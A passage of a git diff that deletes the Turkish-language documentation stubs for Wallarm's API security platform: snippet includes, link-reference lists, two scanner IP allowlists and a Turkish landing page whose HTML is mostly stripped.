deleted file mode 100644 index a4ef0370e8..0000000000 --- a/docs/tr/admin-en/installation-postanalytics-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/installation-postanalytics-en.md" \ No newline at end of file diff --git a/docs/tr/admin-en/managing/terraform-provider.md b/docs/tr/admin-en/managing/terraform-provider.md deleted file mode 100644 index 582f371be6..0000000000 --- a/docs/tr/admin-en/managing/terraform-provider.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/managing/terraform-provider.md" \ No newline at end of file diff --git a/docs/tr/admin-en/native-node-metrics.md b/docs/tr/admin-en/native-node-metrics.md deleted file mode 100644 index d3bb128444..0000000000 --- a/docs/tr/admin-en/native-node-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/native-node-metrics.md" \ No newline at end of file diff --git a/docs/tr/admin-en/nginx-node-metrics.md b/docs/tr/admin-en/nginx-node-metrics.md deleted file mode 100644 index ddd5b09632..0000000000 --- a/docs/tr/admin-en/nginx-node-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/nginx-node-metrics.md" \ No newline at end of file diff --git a/docs/tr/admin-en/operation/learn-incoming-request-number.md b/docs/tr/admin-en/operation/learn-incoming-request-number.md deleted file mode 100644 index c9b0dce8ec..0000000000 --- a/docs/tr/admin-en/operation/learn-incoming-request-number.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/operation/learn-incoming-request-number.md" diff --git a/docs/tr/admin-en/scanner-addresses.md b/docs/tr/admin-en/scanner-addresses.md deleted file mode 100644 index f0278895fc..0000000000 --- a/docs/tr/admin-en/scanner-addresses.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/scanner-addresses.md" \ No newline at end of file diff --git a/docs/tr/admin-en/uat-checklist-en.md b/docs/tr/admin-en/uat-checklist-en.md deleted file mode 100644 index 6b7e883664..0000000000 --- a/docs/tr/admin-en/uat-checklist-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/uat-checklist-en.md" \ No newline at end of file diff --git a/docs/tr/admin-en/using-proxy-or-balancer-en.md b/docs/tr/admin-en/using-proxy-or-balancer-en.md deleted file mode 100644 index 77f9608831..0000000000 --- a/docs/tr/admin-en/using-proxy-or-balancer-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/using-proxy-or-balancer-en.md" \ No newline at end of file diff --git a/docs/tr/admin-en/wcli-metrics.md b/docs/tr/admin-en/wcli-metrics.md deleted file mode 100644 index db93a2a56c..0000000000 --- a/docs/tr/admin-en/wcli-metrics.md +++ /dev/null @@ -1,15 +0,0 @@ -[AIO]: ../installation/nginx/all-in-one.md -[docker]: ../admin-en/installation-docker-en.md -[aws-ami]: ../installation/packages/aws-ami.md -[gcp]: ../installation/packages/gcp-machine-image.md -[IC]: ../admin-en/installation-kubernetes-en.md -[sidecar]: ../installation/kubernetes/sidecar-proxy/deployment.md -[sidecar-helm-chart]: ../installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md -[sidecar-deployment]: ../installation/kubernetes/sidecar-proxy/deployment.md -[sidecar-upgrade]: ../updating-migrating/sidecar-proxy.md -[ic-helm-chart]: ../admin-en/configure-kubernetes-en.md#controllerwallarmapifirewallmetrics -[ic-deployment]: ../admin-en/installation-kubernetes-en.md -[nginx-node-changelog]: ../updating-migrating/node-artifact-versions.md -[nginx-node-6.6.0]: ../updating-migrating/node-artifact-versions.md#660-2025-10-03 - ---8<-- "latest/admin-en/wcli-metrics.md" \ No newline at end of file diff --git a/docs/tr/admin-en/wstore-metrics.md b/docs/tr/admin-en/wstore-metrics.md deleted file mode 100644 index fe2f4e718c..0000000000 --- a/docs/tr/admin-en/wstore-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/wstore-metrics.md" diff --git a/docs/tr/agentic-ai/agentic-ai-protection.md b/docs/tr/agentic-ai/agentic-ai-protection.md deleted file mode 100644 index bf76ac603c..0000000000 --- a/docs/tr/agentic-ai/agentic-ai-protection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/agentic-ai/agentic-ai-protection.md" \ No newline at end of file diff --git a/docs/tr/agentic-ai/ai-payload-inspection.md b/docs/tr/agentic-ai/ai-payload-inspection.md deleted file mode 100644 index 2c54170799..0000000000 --- a/docs/tr/agentic-ai/ai-payload-inspection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/agentic-ai/ai-payload-inspection.md" \ No newline at end of file diff --git a/docs/tr/api-abuse-prevention/exceptions.md b/docs/tr/api-abuse-prevention/exceptions.md deleted file mode 100644 index 928bbcb428..0000000000 --- a/docs/tr/api-abuse-prevention/exceptions.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-abuse-prevention/exceptions.md" \ No newline at end of file diff --git a/docs/tr/api-abuse-prevention/exploring-bots.md b/docs/tr/api-abuse-prevention/exploring-bots.md deleted file mode 100644 index b57cd3f51c..0000000000 --- a/docs/tr/api-abuse-prevention/exploring-bots.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-abuse-prevention/exploring-bots.md" \ No newline at end of file diff --git a/docs/tr/api-abuse-prevention/overview.md b/docs/tr/api-abuse-prevention/overview.md deleted file mode 100644 index d75f995023..0000000000 --- a/docs/tr/api-abuse-prevention/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-abuse-prevention/overview.md" \ No newline at end of file diff --git a/docs/tr/api-abuse-prevention/setup.md b/docs/tr/api-abuse-prevention/setup.md deleted file mode 100644 index 0d37b533a4..0000000000 --- a/docs/tr/api-abuse-prevention/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-abuse-prevention/setup.md" \ No newline at end of file diff --git a/docs/tr/api-attack-surface/api-surface.md b/docs/tr/api-attack-surface/api-surface.md deleted file mode 100644 index 8c095699f9..0000000000 --- a/docs/tr/api-attack-surface/api-surface.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-attack-surface/api-surface.md" \ No newline at end of file diff --git a/docs/tr/api-attack-surface/overview.md b/docs/tr/api-attack-surface/overview.md deleted file mode 100644 index 9ff78731ff..0000000000 --- a/docs/tr/api-attack-surface/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-attack-surface/overview.md" \ No newline at end of file diff --git a/docs/tr/api-attack-surface/security-issues.md b/docs/tr/api-attack-surface/security-issues.md deleted file mode 100644 index 1e188a322f..0000000000 --- a/docs/tr/api-attack-surface/security-issues.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-attack-surface/security-issues.md" \ No newline at end of file diff --git a/docs/tr/api-attack-surface/setup.md b/docs/tr/api-attack-surface/setup.md deleted file mode 100644 index 1c729c3803..0000000000 --- a/docs/tr/api-attack-surface/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-attack-surface/setup.md" \ No newline at end of file diff --git a/docs/tr/api-discovery/bola-protection.md b/docs/tr/api-discovery/bola-protection.md deleted file mode 100644 index 230feb5650..0000000000 --- a/docs/tr/api-discovery/bola-protection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-discovery/bola-protection.md" \ No newline at end of file diff --git a/docs/tr/api-discovery/dashboard.md b/docs/tr/api-discovery/dashboard.md deleted file mode 100644 index f496c1c0b8..0000000000 --- a/docs/tr/api-discovery/dashboard.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-tr/api-discovery/dashboard.md" \ No newline at end of file diff --git a/docs/tr/api-discovery/exploring.md b/docs/tr/api-discovery/exploring.md deleted file mode 100644 index 93f9eb346e..0000000000 --- a/docs/tr/api-discovery/exploring.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-discovery/exploring.md" \ No newline at end of file diff --git a/docs/tr/api-discovery/overview.md b/docs/tr/api-discovery/overview.md deleted file mode 100644 index d581f4618d..0000000000 --- a/docs/tr/api-discovery/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-discovery/overview.md" \ No newline at end of file diff --git a/docs/tr/api-discovery/risk-score.md b/docs/tr/api-discovery/risk-score.md deleted file mode 100644 index 363f881838..0000000000 --- a/docs/tr/api-discovery/risk-score.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-discovery/risk-score.md" \ No newline at end of file diff --git a/docs/tr/api-discovery/rogue-api.md b/docs/tr/api-discovery/rogue-api.md deleted file mode 100644 index de28b555e9..0000000000 --- a/docs/tr/api-discovery/rogue-api.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-discovery/rogue-api.md" \ No newline at end of file diff --git a/docs/tr/api-discovery/sbf.md b/docs/tr/api-discovery/sbf.md deleted file mode 100644 index b362d11be1..0000000000 --- a/docs/tr/api-discovery/sbf.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-discovery/sbf.md" \ No newline at end of file diff --git a/docs/tr/api-discovery/sensitive-data.md b/docs/tr/api-discovery/sensitive-data.md deleted file mode 100644 index b73b34729a..0000000000 --- a/docs/tr/api-discovery/sensitive-data.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-discovery/sensitive-data.md" \ No newline at end of file diff --git a/docs/tr/api-discovery/setup.md b/docs/tr/api-discovery/setup.md deleted file mode 100644 index 52633c8382..0000000000 --- a/docs/tr/api-discovery/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-discovery/setup.md" \ No newline at end of file diff --git a/docs/tr/api-discovery/track-changes.md b/docs/tr/api-discovery/track-changes.md deleted file mode 100644 index 8036b66897..0000000000 --- a/docs/tr/api-discovery/track-changes.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-discovery/track-changes.md" \ No newline at end of file diff --git a/docs/tr/api-protection/business-logic-abuse-detection.md b/docs/tr/api-protection/business-logic-abuse-detection.md deleted file mode 100644 index 57c267a8fc..0000000000 --- a/docs/tr/api-protection/business-logic-abuse-detection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-protection/business-logic-abuse-detection.md" \ No newline at end of file diff --git a/docs/tr/api-protection/dos-protection.md b/docs/tr/api-protection/dos-protection.md deleted file mode 100644 index b2041b8361..0000000000 --- a/docs/tr/api-protection/dos-protection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-protection/dos-protection.md" \ No newline at end of file diff --git a/docs/tr/api-protection/enumeration-attack-protection.md b/docs/tr/api-protection/enumeration-attack-protection.md deleted file mode 100644 index 7c5af42da7..0000000000 --- a/docs/tr/api-protection/enumeration-attack-protection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-protection/enumeration-attack-protection.md" \ No newline at end of file diff --git a/docs/tr/api-protection/file-upload-restriction.md b/docs/tr/api-protection/file-upload-restriction.md deleted file mode 100644 index ca246f2cec..0000000000 --- a/docs/tr/api-protection/file-upload-restriction.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-protection/file-upload-restriction.md" \ No newline at end of file diff --git a/docs/tr/api-protection/graphql-rule.md b/docs/tr/api-protection/graphql-rule.md deleted file mode 100644 index 7d097d7031..0000000000 --- a/docs/tr/api-protection/graphql-rule.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-protection/graphql-rule.md" \ No newline at end of file diff --git a/docs/tr/api-sessions/blocking.md b/docs/tr/api-sessions/blocking.md deleted file mode 100644 index cfda36e90e..0000000000 --- a/docs/tr/api-sessions/blocking.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-sessions/blocking.md" \ No newline at end of file diff --git a/docs/tr/api-sessions/exploring.md b/docs/tr/api-sessions/exploring.md deleted file mode 100644 index ab0a70899e..0000000000 --- a/docs/tr/api-sessions/exploring.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-sessions/exploring.md" \ No newline at end of file diff --git a/docs/tr/api-sessions/overview.md b/docs/tr/api-sessions/overview.md deleted file mode 100644 index 6521f3df47..0000000000 --- a/docs/tr/api-sessions/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-sessions/overview.md" \ No newline at end of file diff --git a/docs/tr/api-sessions/setup.md b/docs/tr/api-sessions/setup.md deleted file mode 100644 index b95bf7bcc0..0000000000 --- a/docs/tr/api-sessions/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-sessions/setup.md" \ No newline at end of file diff --git a/docs/tr/api-specification-enforcement/overview.md b/docs/tr/api-specification-enforcement/overview.md deleted file mode 100644 index f5e47be937..0000000000 --- a/docs/tr/api-specification-enforcement/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-specification-enforcement/overview.md" \ No newline at end of file diff --git a/docs/tr/api-specification-enforcement/setup.md b/docs/tr/api-specification-enforcement/setup.md deleted file mode 100644 index 9461a6cd47..0000000000 --- a/docs/tr/api-specification-enforcement/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-specification-enforcement/setup.md" \ No newline at end of file diff --git a/docs/tr/api-specification-enforcement/viewing-events.md b/docs/tr/api-specification-enforcement/viewing-events.md deleted file mode 100644 index a1a55fed21..0000000000 --- a/docs/tr/api-specification-enforcement/viewing-events.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api-specification-enforcement/viewing-events.md" \ No newline at end of file diff --git a/docs/tr/api/overview.md b/docs/tr/api/overview.md deleted file mode 100644 index 3b5ef1e20d..0000000000 --- a/docs/tr/api/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api/overview.md" \ No newline at end of file diff --git a/docs/tr/api/request-examples.md b/docs/tr/api/request-examples.md deleted file mode 100644 index f5c424e4fb..0000000000 --- a/docs/tr/api/request-examples.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/api/request-examples.md" \ No newline at end of file diff --git a/docs/tr/attacks-vulns-list.md b/docs/tr/attacks-vulns-list.md deleted file mode 100644 index 81d7f446c2..0000000000 --- a/docs/tr/attacks-vulns-list.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/attacks-vulns-list.md" \ No newline at end of file diff --git a/docs/tr/demo-videos/api-abuse-prevention.md b/docs/tr/demo-videos/api-abuse-prevention.md deleted file mode 100644 index 38a8d69f38..0000000000 --- a/docs/tr/demo-videos/api-abuse-prevention.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/demo-videos/api-abuse-prevention.md" \ No newline at end of file diff --git a/docs/tr/demo-videos/api-discovery.md b/docs/tr/demo-videos/api-discovery.md deleted file mode 100644 index 8220baed8f..0000000000 --- a/docs/tr/demo-videos/api-discovery.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-tr/demo-videos/api-discovery.md" \ No newline at end of file diff --git a/docs/tr/demo-videos/api-leaks.md b/docs/tr/demo-videos/api-leaks.md deleted file mode 100644 index 520ca58f10..0000000000 --- a/docs/tr/demo-videos/api-leaks.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/demo-videos/api-leaks.md" \ No newline at end of file diff --git a/docs/tr/demo-videos/events-inspection.md b/docs/tr/demo-videos/events-inspection.md deleted file mode 100644 index a6de2bfee5..0000000000 --- a/docs/tr/demo-videos/events-inspection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/demo-videos/events-inspection.md" \ No newline at end of file diff --git a/docs/tr/demo-videos/overview.md b/docs/tr/demo-videos/overview.md deleted file mode 100644 index f82fd21d26..0000000000 --- a/docs/tr/demo-videos/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/demo-videos/overview.md" \ No newline at end of file diff --git a/docs/tr/demo-videos/shadow-api.md b/docs/tr/demo-videos/shadow-api.md deleted file mode 100644 index dc093ee1fb..0000000000 --- a/docs/tr/demo-videos/shadow-api.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/demo-videos/shadow-api.md" \ No newline at end of file diff --git a/docs/tr/downloads/scanner-ip-addresses-eu.txt b/docs/tr/downloads/scanner-ip-addresses-eu.txt deleted file mode 100644 index 0045c334e0..0000000000 --- a/docs/tr/downloads/scanner-ip-addresses-eu.txt +++ /dev/null @@ -1,16 +0,0 @@ -213.52.130.153 -213.52.130.179 -213.52.130.185 -213.52.130.198 -176.58.99.214 -212.71.244.128 -212.71.244.92 -178.79.168.193 -178.79.168.239 -178.79.168.200 -178.79.168.201 -178.79.168.241 -178.79.168.186 -85.159.208.25 -139.162.220.5 -212.71.252.245 \ No newline at end of file diff --git a/docs/tr/downloads/scanner-ip-addresses-us.txt b/docs/tr/downloads/scanner-ip-addresses-us.txt deleted file mode 100644 index 735300b85d..0000000000 --- a/docs/tr/downloads/scanner-ip-addresses-us.txt +++ /dev/null @@ -1,34 +0,0 @@ -192.155.80.80 -192.155.80.95 -23.239.21.160 -50.116.14.31 -139.162.137.47 -192.155.81.166 -192.155.81.173 -192.155.81.185 -192.155.81.193 -192.155.81.195 -192.155.81.201 -192.155.81.204 -192.155.81.205 -192.155.81.210 -192.155.81.220 -192.155.81.32 -192.155.81.39 -192.155.81.62 -192.155.81.97 -23.239.21.250 -45.33.63.36 -45.79.100.119 -45.79.100.174 -45.79.100.81 -45.79.73.64 -45.79.74.89 -50.116.12.25 -50.116.2.193 -50.116.2.228 -74.207.253.161 -74.207.253.65 -173.230.150.9 -173.230.150.13 -173.230.150.14 \ No newline at end of file diff --git a/docs/tr/faq/common-errors-after-installation.md b/docs/tr/faq/common-errors-after-installation.md deleted file mode 100644 index e90dfb5e6a..0000000000 --- a/docs/tr/faq/common-errors-after-installation.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/faq/common-errors-after-installation.md" \ No newline at end of file diff --git a/docs/tr/faq/ingress-installation.md b/docs/tr/faq/ingress-installation.md deleted file mode 100644 index 965ff1c1fa..0000000000 --- a/docs/tr/faq/ingress-installation.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/faq/ingress-installation.md" \ No newline at end of file diff --git a/docs/tr/faq/node-issues-on-owasp-dashboards.md b/docs/tr/faq/node-issues-on-owasp-dashboards.md deleted file mode 100644 index facb3cbac4..0000000000 --- a/docs/tr/faq/node-issues-on-owasp-dashboards.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/faq/node-issues-on-owasp-dashboards.md" \ No newline at end of file diff --git a/docs/tr/faq/wallarm-cloud-down.md b/docs/tr/faq/wallarm-cloud-down.md deleted file mode 100644 index ebb959d5e5..0000000000 --- a/docs/tr/faq/wallarm-cloud-down.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/faq/wallarm-cloud-down.md" \ No newline at end of file diff --git a/docs/tr/glossary-en.md b/docs/tr/glossary-en.md deleted file mode 100644 index 2e6b68f876..0000000000 --- a/docs/tr/glossary-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/glossary-en.md" \ No newline at end of file diff --git a/docs/tr/index.md b/docs/tr/index.md deleted file mode 100644 index 09059e5ed9..0000000000 --- a/docs/tr/index.md +++ /dev/null @@ -1,860 +0,0 @@ ---- -hide: - - navigation - - toc - - feedback ---- - -# Wallarm Dokümantasyonu - -API'lerinizi, MCP'lerinizi ve yapay zeka ajanlarınızı keşfetmek, tehditlerden korumak ve güvenlik açıklarını test etmek için ihtiyacınız olan her şey. - -
              - -
              - -
              - - -
              -
              -

              Giriş →

              -

              Wallarm platformu ile çalışmaya başlayın ve temel bilgileri öğrenin.

              -

              -
              -
              - - -
              - -
              -

              API Keşfi →

              -

              Tüm API'lerinizi/MCP'lerinizi/ajanlarınızı, risklerini ve hassas veri akışlarını kataloglayın.

              -

              -
              - -
              -

              API Koruması →

              -

              Akıllı tehdit tespiti ile saldırıları, botları ve kötüye kullanımı gerçek zamanlı engelleyin.

              -

              -
              - -
              -

              API Güvenlik Testi →

              -

              Otomatik güvenlik testi ile saldırganlardan önce güvenlik açıklarını bulun.

              -

              -
              - -
              -

              Yapay Zeka Güvenliği →

              -

              Yapay zeka ajanlarını ve MCP'leri keşfedin ve koruyun.

              -

              -
              - -
              - - -
              - -
              -

              Dağıtım →

              -

              Wallarm'ı yönetilen, self-hosted veya bağlayıcı tabanlı seçeneklerle dağıtın.

              -

              -
              - -
              -

              Entegrasyonlar →

              -

              Wallarm'ı mevcut güvenlik araçlarınız, SIEM'ler ve uyarı sistemlerinizle bağlayın.

              -

              -
              - -
              -

              Platform Yönetimi →

              -

              Tehditleri izleyin, uyarıları yapılandırın, erişimi ve altyapıyı yönetin.

              -

              -
              - -
              - - -
              -
              -
              -
              WALLARM'DA YENİ MİSİNİZ?
              -

              5 Dakikada Nasıl Çalıştığını Görün

              - Genel Bakışı İzleyin -
              -
              - -
              - -
              -
              -               -
              -
              -
              - - - - diff --git a/docs/tr/installation/cloud-platforms/alibaba-cloud/docker-container.md b/docs/tr/installation/cloud-platforms/alibaba-cloud/docker-container.md deleted file mode 100644 index 7f11c0f901..0000000000 --- a/docs/tr/installation/cloud-platforms/alibaba-cloud/docker-container.md +++ /dev/null @@ -1,24 +0,0 @@ -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[node-status-docs]: ../../../admin-en/configure-statistics-service.md -[node-token]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[copy-container-ip-alibaba-img]: ../../../images/waf-installation/alibaba-cloud/container-copy-ip.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[logging-docs]: ../../../admin-en/configure-logging.md -[api-policy-enf-docs]: ../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../installation/nginx/all-in-one.md#api-discovery-only-mode -[what-is-new-wstore]: ../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics -[link-docs-check-operation]: ../../../admin-en/uat-checklist-en.md - ---8<-- "latest-tr/installation/cloud-platforms/alibaba-cloud/docker-container.md" \ No newline at end of file diff --git a/docs/tr/installation/cloud-platforms/aws/ami.md b/docs/tr/installation/cloud-platforms/aws/ami.md deleted file mode 100644 index 748acc08dc..0000000000 --- a/docs/tr/installation/cloud-platforms/aws/ami.md +++ /dev/null @@ -1,40 +0,0 @@ -[link-ssh-keys]: https://docs.aws.amazon.com/AWSEC2/latest-tr/UserGuide/get-set-up-for-amazon-ec2.html#create-a-key-pair -[link-sg]: https://docs.aws.amazon.com/en_us/AWSEC2/latest-tr/UserGuide/get-set-up-for-amazon-ec2.html#create-a-base-security-group -[link-launch-instance]: https://docs.aws.amazon.com/AWSEC2/latest-tr/UserGuide/EC2_GetStarted.html#ec2-launch-instance -[anchor1]: #2-create-a-security-group -[anchor2]: #1-create-a-pair-of-ssh-keys-in-aws -[img-create-sg]: ../../../images/installation-ami/common/create_sg.png -[versioning-policy]: ../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../installation/supported-deployment-options.md -[node-token]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../admin-en/configure-logging.md -[wallarm-mode]: ../../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../../images/user-guides/nodes/grouped-nodes.png -[cloud-init-spec]: ../../cloud-platforms/cloud-init.md -[wallarm_force_directive]: ../../../admin-en/configure-parameters-en.md#wallarm_force -[ip-lists-docs]: ../../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../../api-specification-enforcement/overview.md -[inline-docs]: ../../inline/overview.md -[link-wallarm-health-check]: ../../../admin-en/uat-checklist-en.md -[aws-ami-traffic-flow]: ../../../images/waf-installation/aws/aws-ami-flow.png -[img-security-group]: ../../../images/aws-ami/security-group.png -[latest-node-version]: ../../../updating-migrating/node-artifact-versions.md#amazon-machine-image-ami -[aws-costs]: ../../../installation/cloud-platforms/aws/costs.md -[nginx-native-node]: ../../../installation/nginx-native-node-internals.md -[wallarm-logs]: ../../../admin-en/configure-logging.md -[log-level]: ../../../installation/native-node/all-in-one-conf.md#loglevel - ---8<-- "latest-tr/installation/inline/compute-instances/aws/aws-ami.md" \ No newline at end of file diff --git a/docs/tr/installation/cloud-platforms/aws/aws-waf-integration.md b/docs/tr/installation/cloud-platforms/aws/aws-waf-integration.md deleted file mode 100644 index fa68dd3bcb..0000000000 --- a/docs/tr/installation/cloud-platforms/aws/aws-waf-integration.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/cloud-platforms/aws/aws-waf-integration.md" \ No newline at end of file diff --git a/docs/tr/installation/cloud-platforms/aws/costs.md b/docs/tr/installation/cloud-platforms/aws/costs.md deleted file mode 100644 index f611c1772a..0000000000 --- a/docs/tr/installation/cloud-platforms/aws/costs.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/cloud-platforms/aws/costs.md" \ No newline at end of file diff --git a/docs/tr/installation/cloud-platforms/aws/docker-container.md b/docs/tr/installation/cloud-platforms/aws/docker-container.md deleted file mode 100644 index f539219a36..0000000000 --- a/docs/tr/installation/cloud-platforms/aws/docker-container.md +++ /dev/null @@ -1,23 +0,0 @@ -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[node-status-docs]: ../../../admin-en/configure-statistics-service.md -[node-token]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[aws-copy-container-ip-img]: ../../../images/waf-installation/aws/container-copy-ip.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[api-policy-enf-docs]: ../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../installation/nginx/all-in-one.md#api-discovery-only-mode -[what-is-new-wstore]: ../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics -[aws-costs]: costs.md - ---8<-- "latest-tr/installation/cloud-platforms/aws/docker-container.md" \ No newline at end of file diff --git a/docs/tr/installation/cloud-platforms/aws/terraform-module/overview.md b/docs/tr/installation/cloud-platforms/aws/terraform-module/overview.md deleted file mode 100644 index edb7f757e9..0000000000 --- a/docs/tr/installation/cloud-platforms/aws/terraform-module/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/cloud-platforms/aws/terraform-module/overview.md" \ No newline at end of file diff --git a/docs/tr/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md b/docs/tr/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md deleted file mode 100644 index 33c8671c14..0000000000 --- a/docs/tr/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md +++ /dev/null @@ -1,3 +0,0 @@ -[wallarm-proxy-for-aws-api-gateway-img]: ../../../../images/waf-installation/aws/terraform/wallarm-as-proxy-for-aws-api-gateway.png - ---8<-- "latest-tr/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md" \ No newline at end of file diff --git 